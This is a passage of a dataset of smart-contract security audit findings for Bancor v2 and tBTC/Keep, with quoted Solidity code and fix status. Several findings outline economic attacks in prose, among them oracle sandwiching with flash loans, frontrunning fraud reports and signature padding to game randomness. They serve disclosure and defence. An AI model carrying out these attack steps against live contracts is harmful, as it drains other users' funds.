"https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "5.1 Oracle updates can be manipulated to perform atomic front-running attack Addressed", "body": " Resolution The issue was mitigated by updating the Oracle price only once per block and consistently only using the old value throughout the block instead of querying the Oracle when adding or removing liquidity. Arbitrageurs can now no longer do the profitable trade within a single transaction which also precludes the possibility of using flash loans to amplify the attack. Description It is possible to atomically arbitrage rate changes in a risk-free way by sandwiching the Oracle update between two transactions. The attacker would send the following 2 transactions at the moment the Oracle update appears in the mempool: The first transaction, which is sent with a higher gas price than the Oracle update transaction, converts a very small amount. This locks in the conversion weights for the block since handleExternalRateChange() only updates weights once per block. By doing this, the arbitrageur ensures that the stale Oracle price is initially used when doing the first conversion in the following transaction. The second transaction, which is sent at a slightly lower gas price than the transaction that updates the Oracle, does the following: Perform a large conversion at the old weight; Add a small amount of Liquidity to trigger rebalancing; Convert back at the new rate. The attacker can also leverage the incentive generated by the formula by converting such that primary reserve balance == primary reserve staked balance. The attacker can obtain liquidity for step 2 using a flash loan. The attack will deplete the reserves of the pool. An example is shown in section 5.4. Recommendation Do not allow users to trade at a stale Oracle rate and trigger an Oracle price update in the same transaction. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/06/bancor-v2-amm-security-audit/"}, {"title": "5.2 Slippage and fees can be manipulated by a trader Addressed", "body": " Resolution The issue was addressed by introducing an exit fee mechanism. When a liquidity provider wants to withdraw some liquidity, the smart contract returns fewer tokens if the primary reserve is not in the balanced state. So in most cases, the manipulations described in the issue should potentially be non-profitable anymore. Although, in some cases, the traders still may have some incentive to add liquidity before making the trade and remove it after to get a part of the fees (i.e., if the pool is going to be in a balanced state after the trade). Description Users are making trades against the liquidity pool (converter) with slippage and fees defined in the converter contract and Bancor formula. The following steps can be done to optimize trading costs: Instead of just making a trade, a user can add a lot of liquidity (of both tokens, or only one of them) to the pool after taking a flash loan, for example. Make the trade. Remove the added liquidity. Because the liquidity is increased on the first step, slippage is getting smaller for this trade. Additionally, the trader receives a part of the fees for this trade by providing liquidity. One of the reasons why this is possible is described in another issue issue 5.3. This technique of reducing slippage could be used by the trader to get more profit from any frontrunning/arbitrage opportunity and can help to deplete the reserves. Example Consider the initial state with an amplification factor of 20 and zero fees: Here a user can make a trade with the following rate: > Convert 9000000 TKN into 8612440 BNT. But if the user adds 100% of the liquidity in both tokens before the trade, the slippage will be lower: > Convert 9000000 TKN into 8801955 BNT. Recommendation Fixing this issue requires some modification of the algorithm. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/06/bancor-v2-amm-security-audit/"}, {"title": "5.3 Loss of the liquidity pool is not equally distributed Addressed", "body": " Resolution The issue was addressed by adding a new fee mechanism called adjusted fees . This mechanism aims to decrease the deficit of the reserves over time. If there is a deficit of reserves, it is usually present on the secondary token side, because there is a strong incentive to bring the primary token to the balanced state. Roughly speaking, the idea is that if the secondary token has a deficit in reserves, there are additional fees for trading that token. These fees are not distributed across the liquidity providers like the regular fees. Instead, they are just populating the reserve, decreasing the existing deficit. Loss is still not distributed across the liquidity providers, and there is a possibility that there are not enough funds for everyone to withdraw them. In the case of a run on reserves, LPs will be able to withdraw funds on a first-come-first-serve basis. Description All stakeholders in the liquidity pool should be able to withdraw the same amount as they staked plus a share of fees that the converter earned during their staking period. code/contracts/converter/LiquidityPoolV2Converter.sol:L491-L505 IPoolTokensContainer(anchor).burn(_poolToken, msg.sender, _amount); // calculate how much liquidity to remove // if the entire supply is liquidated, the entire staked amount should be sent, otherwise // the price is based on the ratio between the pool token supply and the staked balance uint256 reserveAmount = 0; if (_amount == initialPoolSupply) reserveAmount = balance; else reserveAmount = _amount.mul(balance).div(initialPoolSupply); // sync the reserve balance / staked balance reserves[reserveToken].balance = reserves[reserveToken].balance.sub(reserveAmount); uint256 newStakedBalance = stakedBalances[reserveToken].sub(reserveAmount); stakedBalances[reserveToken] = newStakedBalance; The problem is that sometimes there might not be enough funds in reserve (for example, due to this issue https://github.com/ConsenSys/bancor-audit-2020-06/issues/4). So the first ones who withdraw their stakes receive all the tokens they own. But the last stakeholders might not be able to get their funds back because the pool is empty already. So under some circumstances, there is a chance that users can lose all of their staked funds. This issue also has the opposite side: if the liquidity pool makes an extra profit, the stakers do not owe this profit and cannot withdraw it. Recommendation Distribute losses evenly across the liquidity providers. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/06/bancor-v2-amm-security-audit/"}, {"title": "5.4 Oracle front-running could deplete reserves over time Addressed", "body": " Resolution To mitigate this issue, the Bancor team has added a mechanism that adjusts the effective weights once per block based on its internal price feed. The conversion rate re-anchors to the external oracle price once the next oracle update comes in. This mechanism should help to cause the weight rebalancing caused by the external Oracle update to be less pronounced, thereby limiting the profitability of Oracle frontrunning. It should be noted that it also adds another layer of complexity to the system. It is difficult to predict the actual effectiveness and impact of this mitigation measure without simulating the system under real-world conditions. Description Bancor s weight rebalancing mechanism uses Chainlink price oracles to dynamically update the weights of the assets in the pool to track the market price. Due to Oracle price updates being visible in the mempool before they are included in a block, it is always possible to know about Oracle updates in advance and attempt to make a favourable conversion which takes the future rebalancing into account, followed by the reverse conversion after the rebalancing has occurred. This can be done with high liquidity and medium risk since transaction ordering on the Ethereum blockchain is largely predictable. Over time, this could deplete the secondary reserve as the formula compensates by rebalancing the weights such that the secondary token is sold slightly below its market rate (this is done to create an incentive to bring the primary reserve back to the amount staked by liquidity providers). Example Consider the initial state with an amplification factor of 20 and zero fees: The frontrunner sees a Chainlink transaction in the mempool that changes Oracle B rate to 10,500. He sends a transaction with a slightly higher gas price than the Oracle update. Convert 1,000,000 TKN into 999,500 BNT. The intermediate state: In the following block, the frontrunner sends another transaction with a high gas price (the goal is to be first to convert at the new rate set by the Oracle update): Convert 999,500 BNT back into TKN. The state is: The frontrunner can now leverage the incentive created by the formula to bring back TKN reserve balance to staked TKN balance by converting TKN back to BNT: Convert 4,994 TKN to BNT The final state is: The pool is now balanced and the frontrunner has gained 4,969 BNT. Recommendation This appears to be a fundamental problem caused by the fact that rebalancing is predictable. It is difficult to assess the actual impact of this issue without also reviewing components external to the scope of this audit (Chainlink) and extensively testing the system under real-world conditions. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/06/bancor-v2-amm-security-audit/"}, {"title": "5.5 Use of external calls with a fixed amount of gas ", "body": " Resolution It was decided to accept this minor risk as the usage of .call() might introduce other unexpected behavior. Description The converter smart contract uses the Solidity transfer() function to transfer Ether. .transfer() and .send() forward exactly 2,300 gas to the recipient. The goal of this hardcoded gas stipend was to prevent reentrancy vulnerabilities, but this only makes sense under the assumption that gas costs are constant. Recently EIP 1884 was included in the Istanbul hard fork. One of the changes included in EIP 1884 is an increase to the gas cost of the SLOAD operation, causing a contract s fallback function to cost more than 2300 gas. Examples code/contracts/converter/ConverterBase.sol:L228 _to.transfer(address(this).balance); code/contracts/converter/LiquidityPoolV2Converter.sol:L370 if (_targetToken == ETH_RESERVE_ADDRESS) code/contracts/converter/LiquidityPoolV2Converter.sol:L509 msg.sender.transfer(reserveAmount); Recommendation It s recommended to stop using .transfer() and .send() and instead use .call(). Note that .call() does nothing to mitigate reentrancy attacks, so other precautions must be taken. To prevent reentrancy attacks, it is recommended that you use the checks-effects-interactions pattern. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/06/bancor-v2-amm-security-audit/"}, {"title": "5.6 Use of assert statement for input validation Addressed", "body": " Resolution Assertions are no longer used in the final version reviewed. Description Solidity assertion should only be used to assert invariants, i.e. statements that are expected to always hold if the code behaves correctly. Note that all available gas is consumed when an assert-style exception occurs. Examples It appears that assert() is used in one location within the test scope to catch invalid user inputs: code/contracts/converter/LiquidityPoolV2Converter.sol:L354 assert(amount < targetReserveBalance); Recommendation Using require() instead of assert(). 6 Bytecode Verification Bytecode-level checking helps to ensure that the code behaves correctly for all input values. In this audit we used Mythx deep analysis to verify a small number of basic properties on the weight rebalancing and conversion functions and to detect conditions that would cause runtime exceptions. MythX uses symbolic execution and input fuzzing to explore a large amount of possible inputs and program states. Note that the Bancor formula is compiled with solc-0.4.25 / 20,000 optimization passes. We checked whether the following properties hold for all inputs: [P1] Function balancedWeights: Sum of weights returned by must equal MAX_WEIGHT [P2a] Function crossReserveTargetAmount: Output amount must not be greater than target reserve balance [P2b] Function crossReserveTargetAmount: If reserve balances are equal and source weight < target weight, target amount must be lower than input amount Note that balancedWeights is known to revert when (t * p) / (r * q) * log( s / t) is not in the range [-1/e, 1/e], where: t is the primary reserve staked balance s is the primary reserve current balance r is the secondary reserve current balance q is the primary reserve rate p is the secondary reserve rate The following preconditions were set on the input to reflect realistic input ranges. For balancedWeights: For crossReserveTargetAmount: ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/06/bancor-v2-amm-security-audit/"}, {"title": "6.1 Results", "body": " No violations of the properties tested were found. Our tools also did not identify any cases that would cause the function to revert for the given input ranges. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/06/bancor-v2-amm-security-audit/"}, {"title": "5.1 TokenStaking.recoverStake allows instant stake undelegation Addressed", "body": " Resolution Addressed with keep-network/keep-core#1521 by adding a non-zero check for the undelegation block. Description TokenStaking.recoverStake is used to recover stake that has been designated to be undelegated. It contains a single check to ensure that the undelegation period has passed: keep-core/contracts/solidity/contracts/TokenStaking.sol:L182-L187 function recoverStake(address _operator) public { uint256 operatorParams = operators[_operator].packedParams; require( block.number > operatorParams.getUndelegationBlock().add(undelegationPeriod), \"Can not recover stake before undelegation period is over.\" ); However, if an undelegation period is never set, this will always return true, allowing any operator to instantly undelegate stake at any time. Recommendation Require that the undelegation period is nonzero before allowing an operator to recover stake. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.2 Improper length validation in BLS signature library allows RNG manipulation Addressed", "body": " Resolution Addressed with keep-network/keep-core#1523 by adding input length checks to Description KeepRandomBeaconOperator.relayEntry(bytes memory _signature) is used to submit random beacon results: keep-core/contracts/solidity/contracts/KeepRandomBeaconOperator.sol:L418-L433 function relayEntry(bytes memory _groupSignature) public nonReentrant { require(isEntryInProgress(), \"Entry was submitted\"); require(!hasEntryTimedOut(), \"Entry timed out\"); bytes memory groupPubKey = groups.getGroupPublicKey(signingRequest.groupIndex); require( BLS.verify( groupPubKey, signingRequest.previousEntry, _groupSignature ), \"Invalid signature\" ); emit RelayEntrySubmitted(); The function calls BLS.verify, which validates that the submitted signature correctly signs the previous recorded random beacon entry. BLS.verify calls AltBn128.g1Unmarshal(signature): keep-core/contracts/solidity/contracts/cryptography/BLS.sol:L31-L37 function verify( bytes memory publicKey, bytes memory message, bytes memory signature ) public view returns (bool) { AltBn128.G1Point memory _signature = AltBn128.g1Unmarshal(signature); AltBn128.g1Unmarshal(signature) reads directly from memory without making any length checks: keep-core/contracts/solidity/contracts/cryptography/AltBn128.sol:L214-L228 /** @dev Unmarshals a point on G1 from bytes in an uncompressed form. / function g1Unmarshal(bytes memory m) internal pure returns(G1Point memory) { bytes32 x; bytes32 y; /* solium-disable-next-line */ assembly { x := mload(add(m, 0x20)) y := mload(add(m, 0x40)) return G1Point(uint256(x), uint256(y)); There are two potential issues with this: g1Unmarshal may be reading out-of-bounds of the signature from dirty memory. g1Unmarshal may not be reading all of the signature. If more than 64 bytes are supplied, they are ignored for the purposes of signature validation. These issues are important because the hash of the signature is the random number supplied to user contracts: keep-core/contracts/solidity/contracts/KeepRandomBeaconOperator.sol:L435-L448 // Spend no more than groupSelectionGasEstimate + 40000 gas max // This will prevent relayEntry failure in case the service contract is compromised signingRequest.serviceContract.call.gas(groupSelectionGasEstimate.add(40000))( abi.encodeWithSignature( \"entryCreated(uint256,bytes,address)\", signingRequest.relayRequestId, _groupSignature, msg.sender ); if (signingRequest.callbackFee > 0) { executeCallback(signingRequest, uint256(keccak256(_groupSignature))); An attacker can use this behavior to game random number generation by frontrunning a valid signature submission with additional byte padding. Recommendation Ensure each function in BLS.sol properly validates input lengths for all parameters; the same length validation issue exists in BLS.verifyBytes. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.3 tbtc - the tecdsa keep is never closed, signer bonds are not released Addressed", "body": " Resolution Addressed with https://github.com/keep-network/tbtc/issues/473, https://github.com/keep-network/tbtc/issues/490, keep-network/tbtc#534, and keep-network/tbtc#520. failed_setup: notifySignerSetupFailure \u2705closed by seizing funds with issue 5.10 notifyFundingTimeout \u2705closed with keep-network/tbtc#534 provideFundingECDSAFraudProof, \u2705slashes stake, distributes signer bonds to funder (push payment -> should be pull or funder may block), closes keep. provideFraudBTCFundingProof \u2705 removed with keep-network/tbtc#534 notifyFraudFundingTimeout \u2705 removed with keep-network/tbtc#534 liquidated: provideSPVFraudProof \u2705removed purchaseSignerBondsAtAuction \u2705 via startSignerAbortLiquidation, \u2705 via startSignerFraudLiquidation (implicitly via seizebonds) redeemed: provideRedemptionProof \u2705 Description At the end of the TBTC deposit lifecycle happy path, the deposit is supposed to close the keep in order to release the signer bonds. However, there is no call to closeKeep in any of the code-bases under audit. Recommendation Close the keep releasing the signer bonds. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.4 tbtc - No access control in TBTCSystem.requestNewKeep Addressed", "body": " Resolution Issue addressed in keep-network/tbtc#514. Each call to Description TBTCSystem.requestNewKeep is used by each new Deposit contract on creation. It calls BondedECDSAKeepFactory.openKeep, which sets the Deposit contract as the owner, a permissioned role within the created keep. openKeep also automatically allocates bonds from members registered to the application. The application from which member bonds are allocated is the tbtc system itself. Because requestNewKeep has no access controls, anyone can request that a keep be opened with msg.sender as the owner, and arbitrary signing threshold values: tbtc/implementation/contracts/system/TBTCSystem.sol:L231-L243 /// @notice Request a new keep opening. /// @param _m Minimum number of honest keep members required to sign. /// @param _n Number of members in the keep. /// @return Address of a new keep. function requestNewKeep(uint256 _m, uint256 _n, uint256 _bond) external payable returns (address) IBondedECDSAKeepVendor _keepVendor = IBondedECDSAKeepVendor(keepVendor); IBondedECDSAKeepFactory _keepFactory = IBondedECDSAKeepFactory(_keepVendor.selectFactory()); return _keepFactory.openKeep.value(msg.value)(_n, _m, msg.sender, _bond); Given that the owner of a keep is able to seize signer bonds, close the keep, and more, having control of this role could be detrimental to group members. Recommendation Add access control to requestNewKeep, so that it can only be called as a part of the Deposit creation and initialization process. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.5 Unpredictable behavior due to front running or general bad timing Addressed", "body": " Resolution This issue has been addressed with https://github.com/keep-network/tbtc/issues/493 and the following set of PRs: https://github.com/keep-network/tbtc/issues/493 https://github.com/keep-network/keep-tecdsa/issues/296 - note: initializeImplementation should be done in completeUpgrade otherwise this could be used as a backdoor. fixed by keep-network/keep-ecdsa#327 - fixed: initialization moved to complete upgrade step https://github.com/keep-network/keep-core/issues/1423 - note: initializeImplementationshould be done incompleteUpgrade` otherwise this could be used as a backdoor. fixed by keep-network/keep-core#1517 - fixed: initialization moved to complete upgrade step The client also provided the following statements: In general, our current stance on frontrunning proofs that lead to rewards is that as long as it doesn t significantly compromise an incentive on the primary actors of the system, we re comfortable with having it present. In particular, frontrunnable actions that include rewards in several cases have additional incentives\u2014for tBTC deposit owners, for example, claiming bonds in case of misbehavior; for signers, reclaiming bonds in case of deposit owner absence or other misbehavior. We consider signer reclamation of bonds to be a strong incentive, as bond value is expected to be large enough that there is ongoing expected value to having the bond value liquid rather than bonded. Some of the frontrunning cases (e.g. around beacon signing) did not have this additional incentive, and in those cases we ve taken up the recommendations in the audit. Description In a number of cases, administrators of contracts can update or upgrade things in the system without warning. This has the potential to violate a security goal of the system. Specifically, privileged roles could use front running to make malicious changes just ahead of incoming transactions, or purely accidental negative effects could occur due to unfortunate timing of changes. Some instances of this are more important than others, but in general users of the system should have assurances about the behavior of the action they re about to take. Examples System Parameters The owner of the TBTCSystem contract can change system parameters at any time with changes taking effect immediately. setSignerFeeDivisor - stored in the deposit contract when creating a new deposit. emits an event. setLotSizes - stored in the deposit contract when creating a new deposit. emits an event. setCollateralizationThresholds - stored in the deposit contract when creating a new deposit. emits an event. This also opens up an opportunity for malicious owner to: interfere with other participants deposit creation attempts (front-running transactions) craft a series of transactions that allow the owner to set parameters that are more beneficial to them, then create a deposit and reset the parameters to the systems initial settings. tbtc/implementation/contracts/system/TBTCSystem.sol:L113-L121 /// @notice Set the system signer fee divisor. /// @param _signerFeeDivisor The signer fee divisor. function setSignerFeeDivisor(uint256 _signerFeeDivisor) external onlyOwner require(_signerFeeDivisor > 9, \"Signer fee divisor must be greater than 9, for a signer fee that is <= 10%.\"); signerFeeDivisor = _signerFeeDivisor; emit SignerFeeDivisorUpdated(_signerFeeDivisor); Upgradables The proxy pattern used in many places throughout the system allows the operator to set a new implementation which takes effect immediately. keep-core/contracts/solidity/contracts/KeepRandomBeaconService.sol:L67-L80 /** @dev Upgrade current implementation. @param _implementation Address of the new implementation contract. / function upgradeTo(address _implementation) public onlyOwner address currentImplementation = implementation(); require(_implementation != address(0), \"Implementation address can't be zero.\"); require(_implementation != currentImplementation, \"Implementation address must be different from the current one.\"); setImplementation(_implementation); emit Upgraded(_implementation); keep-tecdsa/solidity/contracts/BondedECDSAKeepVendor.sol:L57-L71 /// @notice Upgrades the current vendor implementation. /// @param _implementation Address of the new vendor implementation contract. function upgradeTo(address _implementation) public onlyOwner { address currentImplementation = implementation(); require( _implementation != address(0), \"Implementation address can't be zero.\" ); require( _implementation != currentImplementation, \"Implementation address must be different from the current one.\" ); setImplementation(_implementation); emit Upgraded(_implementation); Registry keep-tecdsa/solidity/contracts/BondedECDSAKeepVendorImplV1.sol:L43-L50 function registerFactory(address payable _factory) external onlyOperatorContractUpgrader { require(_factory != address(0), \"Incorrect factory address\"); require( registry.isApprovedOperatorContract(_factory), \"Factory contract is not approved\" ); keepFactory = _factory; Recommendation The underlying issue is that users of the system can t be sure what the behavior of a function call will be, and this is because the behavior can change at any time. We recommend giving the user advance notice of changes with a time lock. For example, make all upgrades require two steps with a mandatory time window between them. The first step merely broadcasts to users that a particular change is coming, and the second step commits that change after a suitable waiting period. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.6 keep-core - reportRelayEntryTimeout creates an incentive for nodes to race for rewards potentially wasting gas and it creates an opportunity for front-running Addressed", "body": " Resolution Following the discussion at https://github.com/keep-network/keep-core/issues/1404 it was verified that the method throws as early as possible in an attempt to safe gas in case many nodes call out the timeout in the same block. The client is currently comfortable with this tradeoff. We would like to note that this issue cannot easily be addressed (e.g. allowing nodes to disable calling out timeouts impacts the security of the system; a commit/reveal proxy adds overhead and is unlikely to make the situation better as nodes are programmed to call out timeouts) and we therefore recommend to monitor the network for this scenario. Description The incentive on reportRelayEntryTimeout for being rewarded with 5% of the seized amount creates an incentive to call the method but might also kick off a race for front-running this call. This method is being called from the keep node which is unlikely to adjust the gasPrice and might always lose the race against a front-running bot collecting rewards for all timeouts and fraud proofs (issue 5.7) Examples keep-core/contracts/solidity/contracts/KeepRandomBeaconOperator.sol:L600-L626 /** @dev Function used to inform about the fact the currently ongoing new relay entry generation operation timed out. As a result, the group which was supposed to produce a new relay entry is immediately terminated and a new group is selected to produce a new relay entry. All members of the group are punished by seizing minimum stake of their tokens. The submitter of the transaction is rewarded with a tattletale reward which is limited to min(1, 20 / group_size) of the maximum tattletale reward. / function reportRelayEntryTimeout() public { require(hasEntryTimedOut(), \"Entry did not time out\"); groups.reportRelayEntryTimeout(signingRequest.groupIndex, groupSize, minimumStake); // We could terminate the last active group. If that's the case, // do not try to execute signing again because there is no group // which can handle it. if (numberOfGroups() > 0) { signRelayEntry( signingRequest.relayRequestId, signingRequest.previousEntry, signingRequest.serviceContract, signingRequest.entryVerificationAndProfitFee, signingRequest.callbackFee ); Recommendation Make sure that reportRelayEntryTimeout throws as early as possible if the group was previously terminated (isGroupTerminated) to avoid that keep-nodes spend gas on a call that will fail. Depending on the reward for calling out the timeout this might create a front-running opportunity that cannot be resolved. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.7 keep-core - reportUnauthorizedSigning fraud proof is not bound to reporter and can be front-run Addressed", "body": " Resolution Addressed with https://github.com/keep-network/keep-core/issues/1405 by binding the proof to Description An attacker can monitor reportUnauthorizedSigning() for fraud reports and attempt to front-run the original call in an effort to be the first one reporting the fraud and be rewarded 5% of the total seized amount. Examples keep-core/contracts/solidity/contracts/KeepRandomBeaconOperator.sol:L742-L755 /** @dev Reports unauthorized signing for the provided group. Must provide a valid signature of the group address as a message. Successful signature verification means the private key has been leaked and all group members should be punished by seizing their tokens. The submitter of this proof is rewarded with 5% of the total seized amount scaled by the reward adjustment parameter and the rest 95% is burned. / function reportUnauthorizedSigning( uint256 groupIndex, bytes memory signedGroupPubKey ) public { groups.reportUnauthorizedSigning(groupIndex, signedGroupPubKey, minimumStake); Recommendation Require the reporter to include msg.sender in the signature proving the fraud or implement a two-step commit/reveal scheme to counter front-running opportunities by forcing a reporter to secretly commit the fraud parameters in one block and reveal them in another. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.8 keep-core - operator contracts disabled via panic button can be re-enabled by RegistryKeeper Addressed", "body": " Resolution Addressed by https://github.com/keep-network/keep-core/issues/1406 with changes from keep-network/keep-core#1463: the contract is now using enums instead of int literals only new operator contracts can be approved only approved contracts can be disabled disabled contracts cannot be re-enabled disabling an operator contract does not yield an event changes take effect immediately Description The keep specification states the following: Panic Button The Panic Button can disable malicious or malfunctioning contracts that have been previously approved by the Registry Keeper. When a contract is disabled by the Panic Button, its status on the registry changes to reflect this, and it becomes ineligible to penalize operators. Contracts disabled by the Panic Button can not be reactivated. The Panic Button can be rekeyed by Governance. With the current implementation of the Registry the registryKeeper account can re-enable an operator contract that has previously been disabled by the panicButton account. We would also like to note the following: The contract should use enums instead of integer literals when working with contract states. Changes to the contract take effect immediately, allowing an administrative account to selectively front-run calls to the Registry ACL and interfere with user activity. The operator contract state can be set to the current value without raising an error. The panic button can be called for operator contracts that are not yet active. Examples keep-core/contracts/solidity/contracts/Registry.sol:L67-L75 function approveOperatorContract(address operatorContract) public onlyRegistryKeeper { operatorContracts[operatorContract] = 1; function disableOperatorContract(address operatorContract) public onlyPanicButton { operatorContracts[operatorContract] = 2; Recommendation The keep specification states: The Panic Button can be used to set the status of an APPROVED contract to DISABLED. Operator Contracts disabled with the Panic Button cannot be re-enabled, and disabled contracts may not punish operators nor be selected by service contracts to perform work. All three accounts are typically trusted. We recommend requiring the Governance or paniceButton accounts to reset the contract operator state before registryKeeper can change the state or disallow re-enabling of disabled operator contracts as stated in the specification. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.9 tbtc - State transitions are not always enforced Addressed", "body": " Resolution This issue was addressed with https://github.com/keep-network/tbtc/issues/494 and accepted by the client with the following statement. Deposits that are timed out can still be pushed to an active state. For 5.7 around state transitions, our stance (specifically for the upcoming release) is that a skipped state is acceptable as long as it does not result in data loss or incentive skew. Taken in turn, the listed examples: A TDT holder can choose not to call out notifySignerSetupFailure hoping that the signing group still forms after the signer setup timeout passes. -> we consider this fine. If the TDT holder wishes to hold out hope, it is their choice. Signers should be incentivized to call notifySignerSetupFailure in case of actual failure to release their bond. The deposit can be pushed to active state even after notifySignerSetupFailure, notifyFundingTimeout have passed but nobody called it out. -> again, we consider this fine. A deposit that is funded and proven past its timeout is still a valid deposit, since the two players in question (the depositor and the signing group) were willing to wait longer to complete the flow. The timeouts in question are largely a matter of allowing signers to release their bond in case there is an issue setting up the deposit. Members of the signing group might decide to call notifyFraudFundingTimeout in a race to avoid late submissions for provideFraudBTCFundingProof to succeed in order to contain funds lost due to fraud. -> We are intending to change the mechanic here so that signers lose their whole bond in either case. A malicious signing group observes BTC funding on the bitcoin chain in an attempt to commit fraud at the time the provideBTCFundingProof transition becomes available to front-run provideFundingECDSAFraudProof forcing the deposit into active state. -> this one is tough, and we re working on changing the liquidation initiator reward so it is no longer a useful attack. In particular, we re looking at the suggestion in 2.4 for this. If oracle price slippage occurs for one block (flash-crash type of event) someone could call an undercollateralization transition. -> We are still investigating this possibility. A deposit term expiration courtesy call can be exit in the rare case where _d.fundedAt + TBTCConstants.getDepositTerm() == block.timestamp -> Deposit term expiration courtsey calls should no longer apply; see keep-network/tbtc@6344892 . Courtesy call after deposit term is identical to courtsey call pre-term. Description State transitions from one deposit state to another require someone calling the corresponding transition method on the deposit and actually spend gas on it. The incentive to call a transition varies and is analyzed in more detail in the security-specification section of this report. This issue assumes that participants are not always pushing forward through the state machine as soon as a new state becomes available, opening up the possibility of having multiple state transitions being a valid option for a deposit (e.g. pushing a deposit to active state even though a timeout should have been called on it). Examples A TDT holder can choose not to call out notifySignerSetupFailure hoping that the signing group still forms after the signer setup timeout passes. there is no incentive for the TDT holder to terminate its own deposit after a timeout. the deposit might end up never being in a final error state. there is no incentive for the signing group to terminate the deposit. This affects all states that can time out. The deposit can be pushed to active state even after notifySignerSetupFailure, notifyFundingTimeout have passed but nobody called it out. There is no timeout check in retrieveSignerPubkey, provideBTCFundingProof. tbtc/implementation/contracts/deposit/DepositFunding.sol:L108-L117 /// @notice we poll the Keep contract to retrieve our pubkey /// @dev We store the pubkey as 2 bytestrings, X and Y. /// @param _d deposit storage pointer /// @return True if successful, otherwise revert function retrieveSignerPubkey(DepositUtils.Deposit storage _d) public { require(_d.inAwaitingSignerSetup(), \"Not currently awaiting signer setup\"); bytes memory _publicKey = IBondedECDSAKeep(_d.keepAddress).getPublicKey(); require(_publicKey.length == 64, \"public key not set or not 64-bytes long\"); tbtc/implementation/contracts/deposit/DepositFunding.sol:L263-L278 function provideBTCFundingProof( DepositUtils.Deposit storage _d, bytes4 _txVersion, bytes memory _txInputVector, bytes memory _txOutputVector, bytes4 _txLocktime, uint8 _fundingOutputIndex, bytes memory _merkleProof, uint256 _txIndexInBlock, bytes memory _bitcoinHeaders ) public returns (bool) { require(_d.inAwaitingBTCFundingProof(), \"Not awaiting funding\"); bytes8 _valueBytes; bytes memory _utxoOutpoint; Members of the signing group might decide to call notifyFraudFundingTimeout in a race to avoid late submissions for provideFraudBTCFundingProof to succeed in order to contain funds lost due to fraud. It should be noted that even after the fraud funding timeout passed the TDT holder could provideFraudBTCFundingProof as it does not check for the timeout. A malicious signing group observes BTC funding on the bitcoin chain in an attempt to commit fraud at the time the provideBTCFundingProof transition becomes available to front-run provideFundingECDSAFraudProof forcing the deposit into active state. The malicious users of the signing group can then try to report fraud, set themselves as liquidationInitiator to be awarded part of the signer bond (in addition to taking control of the BTC collateral). The TDT holders fraud-proof can be front-run, see issue 5.15 If oracle price slippage occurs for one block (flash-crash type of event) someone could call an undercollateralization transition. For severe oracle errors deposits might be liquidated by calling notifyUndercollateralizedLiquidation. The TDT holder cannot exit liquidation in this case. For non-severe under collateralization someone could call notifyCourtesyCall to impose extra effort on TDT holders to exitCourtesyCall deposits. A deposit term expiration courtesy call can be exit in the rare case where _d.fundedAt + TBTCConstants.getDepositTerm() == block.timestamp tbtc/implementation/contracts/deposit/DepositLiquidation.sol:L289-L298 /// @notice Goes from courtesy call to active /// @dev Only callable if collateral is sufficient and the deposit is not expiring /// @param _d deposit storage pointer function exitCourtesyCall(DepositUtils.Deposit storage _d) public { require(_d.inCourtesyCall(), \"Not currently in courtesy call\"); require(block.timestamp <= _d.fundedAt + TBTCConstants.getDepositTerm(), \"Deposit is expiring\"); require(getCollateralizationPercentage(_d) >= _d.undercollateralizedThresholdPercent, \"Deposit is still undercollateralized\"); _d.setActive(); _d.logExitedCourtesyCall(); tbtc/implementation/contracts/deposit/DepositLiquidation.sol:L318-L327 /// @notice Notifies the contract that its term limit has been reached /// @dev This initiates a courtesy call /// @param _d deposit storage pointer function notifyDepositExpiryCourtesyCall(DepositUtils.Deposit storage _d) public { require(_d.inActive(), \"Deposit is not active\"); require(block.timestamp >= _d.fundedAt + TBTCConstants.getDepositTerm(), \"Deposit term not elapsed\"); _d.setCourtesyCall(); _d.logCourtesyCalled(); _d.courtesyCallInitiated = block.timestamp; Allow exiting the courtesy call only if the deposit is not expired: block.timestamp < _d.fundedAt + TBTCConstants.getDepositTerm() Recommendation Ensure that there are no competing interests between participants of the system to favor one transition over the other, causing race conditions, front-running opportunities or stale deposits that are not pushed to end-states. Note: Please find an analysis of incentives to call state transitions in the security section of this document. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.10 tbtc - Funder loses payment to keep if signing group is not established in time Pending", "body": " Resolution This issue was addressed with https://github.com/keep-network/tbtc/issues/495 by refunding the cost of creating a new keep. We recommend using the pull instead of a push payment pattern to avoid that the funder can block the call. Additionally, the client provided the following statement: The remaining push vs pull question is being tracked in https://github.com/keep-network/tbtc/issues/551, part of recommendation 2.7. Description The funder had to provide payment for the keep but the signing group failed to establish. Payment for the keep is not returned even though one could assume that the signing group tried to play unfairly. The signing group might intentionally try to cause this scenario to interfere with the system. Examples retrieveSignerPubkey fails if keep provided pubkey is empty or of an unexpected length tbtc/implementation/contracts/deposit/DepositFunding.sol:L108-L127 /// @notice we poll the Keep contract to 